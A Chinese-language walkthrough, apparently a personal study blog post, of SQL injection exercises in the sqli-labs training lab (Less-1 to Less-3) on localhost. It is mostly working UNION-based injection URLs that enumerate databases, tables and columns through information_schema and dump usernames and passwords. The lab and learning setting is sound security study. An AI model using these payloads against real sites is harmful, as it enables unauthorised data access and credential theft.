SQL注入详解及技巧
Tip小技巧 :在白盒测试的过程中,在sql语句的下一句加上 echo $sql. '<br>'; 可以在页面中输出完整的sql语句
效果图 :
查询数据库信息:
以下用法均为:?id=1 and 1=2 union select 1,2,查询词
version() 当前使用的数据库版本
user() 当前使用数据库的用户
database() 当前使用的数据库名
@@version_compile_os 当前使用的数据库所在的操作系统版本
current_date 当前数据库的日期
less-1:
任意输入一个id进行测试: http://127.0.0.1/sqli-labs-master/Less-1/ ?id=1
可以看到sql语句为 SELECT * FROM users WHERE id='1' LIMIT 0,1
构造闭合语句 http://127.0.0.1/sqli-labs-master/Less-1/ ?id=1' %23
测试字段数: http://127.0.0.1/sqli-labs-master/Less-1/ ?id=-1' order by 3 %23 得到字段数为3个字段
爆库: http://127.0.0.1/sqli-labs-master/Less-1/ ?id=-1' UNION SELECT 1,2,3 %23 得到可查询的字段数为2和3
查询数据库: http://127.0.0.1/sqli-labs-master/Less-1/ ?id=-1' UNION SELECT 1,2,database() %23 得到数据库为security
查询当前数据库下的所有表: http://127.0.0.1/sqli-labs-master/Less-1/ ?id=-1' UNION SELECT 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() %23 (此处可以将database()更换为库名‘security’,但是必须得用两个单引号括起来) 得到4个表emails,referers,uagents,users
查询表user下的列:
http://127.0.0.1/sqli-labs-master/Less-1/ ?id=-1' UNION SELECT 1,2,group_concat(column_name) from information_schema.columns where table_name='users' and TABLE_SCHEMA='security' %23
得到3个列名:id,username和password
查字段信息: http://127.0.0.1/sqli-labs-master/Less-1/ ?id=-1' UNION SELECT 1,2,group_concat(id,username,password) from users %23
上面的字段信息看起来有点复杂,其实就是下面的字段信息,目前还没找到好的办法分离,能力有限,有待改进,只能通过一个一个列查询,将其分离
经验小结:
在使用语句查询单的时候
1.UNION SELECT 1,2,group_concat(schema_name) from information_schema.schemata查询到的是该服务器的所有数据库的库名 2.UNION SELECT 1,2,table_name from information_schema. tables where table_schema=ox库名8进制 查询到的只是当前库默认的第一个表 3.UNION SELECT 1,2,group_concat(column_name) from information_schema.columns where table_name='表名'查询到得到是所有数据库的所有列名,加上and TABLE_SCHEMA='当前数据库名'就可以查询当前库的当前表名
less1-4都可以使用上面的联合查询法
less-1
输入id=1正常,输入id=1'报错,输入id=1''正常 --> 即可判断sql语句为SELECT * FROM users WHERE id='$id'
less-2
id=1'报错,id=1''报错,id=1 and 1=2 不报错不回显 -->即可判断sql语句为SELECT * FROM user WHERE id=$id
less-3
id=1'报错,id=1''不报错,id=1') %23不报错 -->即可判断sql语句为SELECT * FROM users WHERE id=('$id')
后面的用法都相同